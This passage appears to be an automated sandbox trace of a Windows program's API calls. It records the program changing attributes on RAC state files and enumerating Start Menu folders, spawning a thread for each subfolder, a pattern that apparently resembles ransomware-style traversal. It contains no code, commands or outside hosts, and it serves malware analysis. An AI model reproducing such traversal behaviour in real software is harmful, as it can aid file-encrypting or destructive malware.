[0060.702] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x415b70, Size=0x18) returned 0x436c98 [0060.702] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5e45e18 [0060.702] wcscpy (in: _Dest=0x5e45e18, _Source="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf") returned="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" [0060.702] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf", dwFileAttributes=0x2020) returned 1 [0060.702] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4187d0) returned 1 Thread: id = 336 os_tid = 0xc24 [0048.589] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacMetaData.dat" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racmetadata.dat")) returned 0x2020 [0048.589] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacMetaData.dat", dwFileAttributes=0x20) returned 1 [0060.699] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacMetaData.dat" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racmetadata.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0060.700] GetLastError () returned 0x20 [0060.700] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8) returned 0x415f10 [0060.700] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0060.700] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x415f10) returned 1 [0060.700] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x415f00, Size=0x10) returned 0x415b70 [0060.700] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x43a678 [0060.700] wcscpy (in: _Dest=0x43a678, _Source="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacMetaData.dat" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacMetaData.dat") returned="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacMetaData.dat" [0060.700] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacMetaData.dat", dwFileAttributes=0x2020) returned 1 [0060.701] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45e18) returned 1 Thread: id = 337 os_tid = 0xc28 [0048.590] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x419478 [0048.590] wcscpy (in: _Dest=0x419478, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0048.590] wcscat (in: _Dest=0x419478, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0048.591] wcscat (in: _Dest=0x419478, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\*" [0048.591] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430d40 [0048.591] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\*", lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a068 [0048.591] wcscmp (_String1=".", _String2=".") returned 0 [0048.591] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.591] wcscmp (_String1="..", _String2=".") returned 1 [0048.591] wcscmp (_String1="..", _String2="..") returned 0 [0048.591] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0048.591] wcscmp (_String1="Accessories", _String2=".") returned 1 [0048.591] wcscmp (_String1="Accessories", _String2="..") returned 1 [0048.591] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x416ae0 [0048.591] wcscpy (in: _Dest=0x416ae0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0048.591] wcscat (in: _Dest=0x416ae0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0048.591] wcscat (in: _Dest=0x416ae0, _Source="Accessories" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0048.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x416ae0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e8 [0048.946] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrative Tools", cAlternateFileName="ADMINI~1")) returned 1 [0048.946] wcscmp (_String1="Administrative Tools", _String2=".") returned 1 [0048.946] wcscmp (_String1="Administrative Tools", _String2="..") returned 1 [0048.946] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x449d80 [0048.946] wcscpy (in: _Dest=0x449d80, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0048.946] wcscat (in: _Dest=0x449d80, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0048.946] wcscat (in: _Dest=0x449d80, _Source="Administrative Tools" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools" [0048.947] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x449d80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7bc [0048.947] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c01860, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c01860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83c01860, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x989, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Reader X.lnk", cAlternateFileName="ADOBER~1.LNK")) returned 1 [0048.947] wcscmp (_String1="Adobe Reader X.lnk", _String2=".") returned 1 [0048.947] wcscmp (_String1="Adobe Reader X.lnk", _String2="..") returned 1 [0048.948] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x824ddfa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0048.948] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0048.948] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0048.948] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa224bfc3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa224bfc3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Games", cAlternateFileName="")) returned 1 [0048.948] wcscmp (_String1="Games", _String2=".") returned 1 [0048.948] wcscmp (_String1="Games", _String2="..") returned 1 [0048.948] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x45e4b8 [0048.948] wcscpy (in: _Dest=0x45e4b8, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0048.948] wcscat (in: _Dest=0x45e4b8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0048.948] wcscat (in: _Dest=0x45e4b8, _Source="Games" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games" [0048.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x45e4b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c0 [0048.949] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df47e00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df47e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df47e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0048.949] wcscmp (_String1="Google Chrome.lnk", _String2=".") returned 1 [0048.949] wcscmp (_String1="Google Chrome.lnk", _String2="..") returned 1 [0048.949] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0048.949] wcscmp (_String1="Java", _String2=".") returned 1 [0048.949] wcscmp (_String1="Java", _String2="..") returned 1 [0048.949] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45e538 [0048.949] wcscpy (in: _Dest=0x45e538, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0048.949] wcscat (in: _Dest=0x45e538, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0048.949] wcscat (in: _Dest=0x45e538, _Source="Java" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java" [0048.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x45e538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c4 [0048.950] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0048.950] wcscmp (_String1="Maintenance", _String2=".") returned 1 [0048.950] wcscmp (_String1="Maintenance", _String2="..") returned 1 [0048.950] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x4168a0 [0048.950] wcscpy (in: _Dest=0x4168a0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0048.951] wcscat (in: _Dest=0x4168a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0048.951] wcscat (in: _Dest=0x4168a0, _Source="Maintenance" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance" [0048.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4168a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c8 [0048.952] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824ddfa0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x824ddfa0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x824ddfa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x541, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Center.lnk", cAlternateFileName="MEDIAC~1.LNK")) returned 1 [0048.952] wcscmp (_String1="Media Center.lnk", _String2=".") returned 1 [0048.952] wcscmp (_String1="Media Center.lnk", _String2="..") returned 1 [0048.952] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0048.952] wcscmp (_String1="Microsoft Office", _String2=".") returned 1 [0048.952] wcscmp (_String1="Microsoft Office", _String2="..") returned 1 [0048.952] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x4ef898 [0048.952] wcscpy (in: _Dest=0x4ef898, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0048.952] wcscat (in: _Dest=0x4ef898, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0048.952] wcscat (in: _Dest=0x4ef898, _Source="Microsoft Office" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office" [0048.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4ef898, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7cc [0048.953] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bd780, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb09e38e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb09e38e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x491, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1 [0048.953] wcscmp (_String1="Mozilla Firefox.lnk", _String2=".") returned 1 [0048.953] wcscmp (_String1="Mozilla Firefox.lnk", _String2="..") returned 1 [0048.953] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePoint", cAlternateFileName="SHAREP~1")) returned 1 [0048.953] wcscmp (_String1="SharePoint", _String2=".") returned 1 [0048.953] wcscmp (_String1="SharePoint", _String2="..") returned 1 [0048.954] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x4467f8 [0048.954] wcscpy (in: _Dest=0x4467f8, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0048.954] wcscat (in: _Dest=0x4467f8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0048.954] wcscat (in: _Dest=0x4467f8, _Source="SharePoint" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint" [0048.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4467f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d0 [0048.955] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a233bd5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8a233bd5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8a233bd5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sidebar.lnk", cAlternateFileName="")) returned 1 [0048.955] wcscmp (_String1="Sidebar.lnk", _String2=".") returned 1 [0048.955] wcscmp (_String1="Sidebar.lnk", _String2="..") returned 1 [0048.955] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Startup", cAlternateFileName="")) returned 1 [0048.955] wcscmp (_String1="Startup", _String2=".") returned 1 [0048.955] wcscmp (_String1="Startup", _String2="..") returned 1 [0048.955] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x446660 [0048.955] wcscpy (in: _Dest=0x446660, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0048.955] wcscat (in: _Dest=0x446660, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0048.955] wcscat (in: _Dest=0x446660, _Source="Startup" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" [0048.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x446660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d4 [0048.957] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1 [0048.957] wcscmp (_String1="Tablet PC", _String2=".") returned 1 [0048.957] wcscmp (_String1="Tablet PC", _String2="..") returned 1 [0048.957] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x446f68 [0048.957] wcscpy (in: _Dest=0x446f68, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0048.957] wcscat (in: _Dest=0x446f68, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0048.957] wcscat (in: _Dest=0x446f68, _Source="Tablet PC" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC" [0048.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x446f68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d8 [0048.958] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b186991, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8b186991, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8b186991, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x548, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Anytime Upgrade.lnk", cAlternateFileName="WINDOW~3.LNK")) returned 1 [0048.958] wcscmp (_String1="Windows Anytime Upgrade.lnk", _String2=".") returned 1 [0048.958] wcscmp (_String1="Windows Anytime Upgrade.lnk", _String2="..") returned 1 [0048.958] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82491ce0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x82491ce0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x82491ce0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x52e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows DVD Maker.lnk", cAlternateFileName="WINDOW~4.LNK")) returned 1 [0048.958] wcscmp (_String1="Windows DVD Maker.lnk", _String2=".") returned 1 [0048.959] wcscmp (_String1="Windows DVD Maker.lnk", _String2="..") returned 1 [0048.959] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7b6b82, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d7b6b82, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d7dcce2, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Fax and Scan.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0048.959] wcscmp (_String1="Windows Fax and Scan.lnk", _String2=".") returned 1 [0048.959] wcscmp (_String1="Windows Fax and Scan.lnk", _String2="..") returned 1 [0048.959] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8945dbdb, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8945dbdb, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xd869fe87, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0048.959] wcscmp (_String1="Windows Media Player.lnk", _String2=".") returned 1 [0048.959] wcscmp 